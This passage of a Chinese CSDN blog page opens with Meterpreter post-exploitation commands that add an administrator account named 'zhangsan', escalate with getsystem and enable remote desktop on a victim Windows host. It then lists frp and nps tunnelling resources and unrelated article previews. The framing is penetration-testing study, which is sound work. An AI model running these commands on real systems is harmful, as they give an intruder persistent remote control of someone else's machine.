net user zhangsan 123456 /add # 创建一个用户名为“zhangsan ”密码是“123456 ”
net localgroup administrators zhangsan /add # 将zhangsan 加入到管理员组(提升权限)
exit # 退到上一级目录(这里是退出dos窗口回到,meterpreter > )
getsystem # 先将当前的session提升为system权限(以防万一)
run post/windows/manage/enable_rdp # 利用此后渗透模块即可直接开启远程桌面,开启受害者主机3389端口(远程桌面连接端口)
这样一套命令下来,以后我们就可以直接使用 zhangsan 这个账号登录3389端口的远程桌面服务,远程控制目标主机(mstsc -v 目标ip)
如果是linux主机连接:rdesktop 192.168.0.103:3389 # 连接受害者主机的远程桌面,如下图所示:
需要注意的是你登录了,对方会被你挤下线
这个操作是我之前写的文章里面的,就直接复制过来的,如果你还需要更深入的操作可以参考之前写的文章:Kali最强渗透工具- metasploit_kali系统常用渗透工具_正经人_____的博客-CSDN博客
涉及资源
- Sunny-Ngrok内网转发内网穿透 - 国内内网映射服务器
- Sakura Frp | 樱花内网穿透 — 免费内网穿透_免费端口映射
- 示例 | frp
- GitHub - fatedier/frp: A fast reverse proxy to help you expose a local server behind a NAT or firewall to the internet.
- GitHub - rofl0r/proxychains-ng
- FRP 内网穿透-安全客 - 安全资讯平台 FRP 内网穿透
- https://www.cnblogs.com/xuyaowen/p/ProxyChians4.html Linux安装proxychains-ng
- frp多层socks代理+端口映射_frp socks_m0s30的博客-CSDN博客 frp多层socks代理+端口映射
- GitHub - ehang-io/nps: 一款轻量级、高性能、功能强大的内网穿透代理服务器。
- 【内网学习笔记】12、nps 的使用 | TeamsSix nps 的使用
相关文章:

p70 内网安全-域横向内网漫游 Socks 代理隧道技术(NPS、FRP、CFS 三层内网漫游)
数据来源 本文仅用于信息安全学习,请遵守相关法律法规,严禁用于非法途径。若观众因此作出任何危害网络安全的行为,后果自负,与本人无关。 必要基础知识点: 内外网简单知识内网 1 和内网 2 通信问题正向反向协议通…...

第三十二章 Unity Mecanim动画系统(上)
在上一章节中,我们介绍了Unity的旧版动画系统,本章节来介绍新版的Mecanim动画系统。新版的Mecanim动画系统实际是对旧版动画系统的升级。新版的Mecanim动画系统仍然是建立在动画片段的基础上的,只不过它给我们提供了一个可视化的窗口来编辑动…...

第二章 集合
系列文章目录 提示:这里可以添加系列文章的所有文章的目录,目录需要自己手动添加 例如:第一章 Python 机器学习入门之pandas的使用 提示:写完文章后,目录可以自动生成,如何生成可参考右边的帮助文档 文章目…...

这一篇Databinding应该可以帮助迅速上手吧
Databinding使用篇(迅速上手) 使用前需要在模块级别的build.gradle里面的android闭包里添加: dataBinding{enabled true}接着在layout文件中按下Alt 回车, 将布局转换成data binding layout即可,此时编译就会生成对…...

【PHP在线定制商城网站源码V3.0】开源的DIY在线定制商城系统+在线礼品定制
源码下载:https://download.csdn.net/download/m0_66047725/87637177 PHP在线定制商城网站源码,免费开源、免费下载。本商城基于mycncart开发。安装成功后即可浏览,你可以在后台->安装扩展功能上传安装插件,在代码调整中点击刷…...

cout源码浅析
目录 cout源码浅析 那么对于没有定义在这之中的要怎么办呢? 实际使用 结语 首先来看我从cplusplus中截取的这张图: 注意最下面这一行字。cout其实是ostream的一个标准对象object。而上面则演示了一些继承关系。 好的,理解了之后…...

发送Ajax get请求详解
发送AJAX get请求,前端代码: <!DOCTYPE html> <html lang"en"> <head> <meta charset"UTF-8"> <title>ajax get请求</title> </head> <body> <script type"text/java…...
SQL语句
创建及删除数据库和表 CREATE DATABASE 数据库名; CREATE DATABASE school; 创建新的表 CREATE TABLE 表名(字段1 数据类型,字段2 数据类型[,...] [,PRIMARY KEY (主键名)]); #主键一般选择能代表唯一性的字段,不允许取空值(NULL),值也不允许重复&…...

Mysql 学习(八)单表查询方法二
复杂查询 上一节说了5种访问类型的查询,这一节就来说说关于这些比较复杂的查询 情况一:多个二级索引查询 sql:SELECT * FROM index_value_table WHERE value1 abc AND value2 > 1000;搜索条件: value1 等于 abcvalue2 大于…...

安卓系统下的截屏和录屏
可以抓取手机屏幕画面(屏幕截图),也可以录制屏幕画面视频。拍摄屏幕后,可以查看、编辑和分享所拍的图片或视频。 抓取屏幕截图 打开要抓取的屏幕。视手机情况执行下列一个操作,3种方法看你手机有效的: 同…...

行为型模式-中介者模式
中介者模式 概述 一般来说,同事类之间的关系是比较复杂的,多个同事类之间互相关联时,他们之间的关系会呈现为复杂的网状结构,这是一种过度耦合的架构,即不利于类的复用,也不稳定。例如在下左图中…...
辅助驾驶功能开发-功能规范篇(16)-2-领航辅助系统NAP-功能ODD定义
1.系统定义 智能驾驶系统包含行车场景功能和泊车场景功能,行车场景功能包括安全ADAS功能、基础ADAS功能和高阶ADAS功能三大类,本文档定义高阶ADAS功能中的导航辅助驾驶功能用例。 1.1.高阶ADAS功能列表 功能需求ID 功能分类 功能名称...

PMP/高项 06-项目成本管理
项目成本管理 概念 项目成本管理 项目成本管理又被称为项目造价管理,是有关项目成本和项目价值两个方面的管理,是为保障以最小的成本实现最大的项目价值而开展的项目专项管理工作。 确保在批准的项目预算内完成项目 成本管理内容 规划成本管理 制定项目…...

XXL-JOB中间件【实现分布式任务调度】
目录 1:XXL-JOB介绍 2:搭建XXL-JOB 2.1:调度中心 2.2:执行器 2.3:执行任务 3:分片广播 1:XXL-JOB介绍 XXL-JOB是一个轻量级分布式任务调度平台,其核心设计目标是开发迅速、学…...

Vue3+Element Plus环境搭建和一键切换明暗主题的配置
Vue (发音为 /vjuː/,类似 view) 是一款用于构建用户界面的 JavaScript 框架。而Element Plus是一款基于Vue3面向设计师和开发者的组件库。 最终效果: 环境搭建 已安装 16.0 或更高版本的 Node.js,终端: npm init vuelatest这一…...

Leetcode326. 3 的幂
Every day a leetcode 题目来源:326. 3 的幂 相似题目:342. 4的幂 解法1:递归 代码: /** lc appleetcode.cn id326 langcpp** [326] 3 的幂*/// lc codestart class Solution { public:bool isPowerOfThree(int n){if (n <…...
【运动规划算法项目实战】如何在栅格地图中实现Dijkstra算法
文章目录 简介一、算法介绍1.1 Dijkstra算法流程1.2 Dijkstra算法伪代码二、代码实现2.1 ROS实现2.2 RVIZ演示三、总结简介 Dijkstra算法是一种用于图中单源最短路径的贪心算法。在计算机科学和网络设计中广泛应用。该算法从起点开始,通过优先选择距离起点最近的未标记节点来…...

【算法】一文彻底搞懂ZAB算法
文章目录 什么是ZAB 算法?深入ZAB算法1. 消息广播两阶段提交ZAB消息广播过程 2. 崩溃恢复选举参数选举流程 ZAB算法需要解决的两大问题1. 已经被处理的消息不能丢2. 被丢弃的消息不能再次出现 最近需要设计一个分布式系统,需要一个中间件来存储共享的信息…...

【软考高级】2022年系统分析师综合知识
1.( )是从系统的应用领域而不是从系统用户的特定需要中得出的,它们可以是新的功能性需求,或者是对已有功能性需求的约束,或者是陈述特定的计算必须遵守的要求。 A.功能性需求 B. 用户需求 C.产品需求 D.领域需求 2.对于安全关键系…...
关于AI未来的思考和应用场景
关于AI未来的思考和应用场景 AI(人工智能)是当今最热门的技术领域之一,它已经在多个领域产生了深远的影响,如医疗、金融、制造业等。未来,AI将继续发展,并在更多领域产生重要的影响。 AI的未来发展方向有…...

C++_核心编程_多态案例二-制作饮品
#include <iostream> #include <string> using namespace std;/*制作饮品的大致流程为:煮水 - 冲泡 - 倒入杯中 - 加入辅料 利用多态技术实现本案例,提供抽象制作饮品基类,提供子类制作咖啡和茶叶*//*基类*/ class AbstractDr…...
MySQL 隔离级别:脏读、幻读及不可重复读的原理与示例
一、MySQL 隔离级别 MySQL 提供了四种隔离级别,用于控制事务之间的并发访问以及数据的可见性,不同隔离级别对脏读、幻读、不可重复读这几种并发数据问题有着不同的处理方式,具体如下: 隔离级别脏读不可重复读幻读性能特点及锁机制读未提交(READ UNCOMMITTED)允许出现允许…...
质量体系的重要
质量体系是为确保产品、服务或过程质量满足规定要求,由相互关联的要素构成的有机整体。其核心内容可归纳为以下五个方面: 🏛️ 一、组织架构与职责 质量体系明确组织内各部门、岗位的职责与权限,形成层级清晰的管理网络…...

Android 之 kotlin 语言学习笔记三(Kotlin-Java 互操作)
参考官方文档:https://developer.android.google.cn/kotlin/interop?hlzh-cn 一、Java(供 Kotlin 使用) 1、不得使用硬关键字 不要使用 Kotlin 的任何硬关键字作为方法的名称 或字段。允许使用 Kotlin 的软关键字、修饰符关键字和特殊标识…...

什么是Ansible Jinja2
理解 Ansible Jinja2 模板 Ansible 是一款功能强大的开源自动化工具,可让您无缝地管理和配置系统。Ansible 的一大亮点是它使用 Jinja2 模板,允许您根据变量数据动态生成文件、配置设置和脚本。本文将向您介绍 Ansible 中的 Jinja2 模板,并通…...

三分算法与DeepSeek辅助证明是单峰函数
前置 单峰函数有唯一的最大值,最大值左侧的数值严格单调递增,最大值右侧的数值严格单调递减。 单谷函数有唯一的最小值,最小值左侧的数值严格单调递减,最小值右侧的数值严格单调递增。 三分的本质 三分和二分一样都是通过不断缩…...
机器学习的数学基础:线性模型
线性模型 线性模型的基本形式为: f ( x ) ω T x b f\left(\boldsymbol{x}\right)\boldsymbol{\omega}^\text{T}\boldsymbol{x}b f(x)ωTxb 回归问题 利用最小二乘法,得到 ω \boldsymbol{\omega} ω和 b b b的参数估计$ \boldsymbol{\hat{\omega}}…...

spring boot使用HttpServletResponse实现sse后端流式输出消息
1.以前只是看过SSE的相关文章,没有具体实践,这次接入AI大模型使用到了流式输出,涉及到给前端流式返回,所以记录一下。 2.resp要设置为text/event-stream resp.setContentType("text/event-stream"); resp.setCharacter…...

【工具教程】多个条形码识别用条码内容对图片重命名,批量PDF条形码识别后用条码内容批量改名,使用教程及注意事项
一、条形码识别改名使用教程 打开软件并选择处理模式:打开软件后,根据要处理的文件类型,选择 “图片识别模式” 或 “PDF 识别模式”。如果是处理包含条形码的 PDF 文件,就选择 “PDF 识别模式”;若是处理图片文件&…...
el-amap-bezier-curve运用及线弧度设置
文章目录 简介示例线弧度属性主要弧度相关属性其他相关样式属性完整示例链接简介 el-amap-bezier-curve 是 Vue-Amap 组件库中的一个组件,用于在 高德地图 上绘制贝塞尔曲线。 基本用法属性path定义曲线的路径,可以是多个弧线段的组合。stroke-weight线条的宽度。stroke…...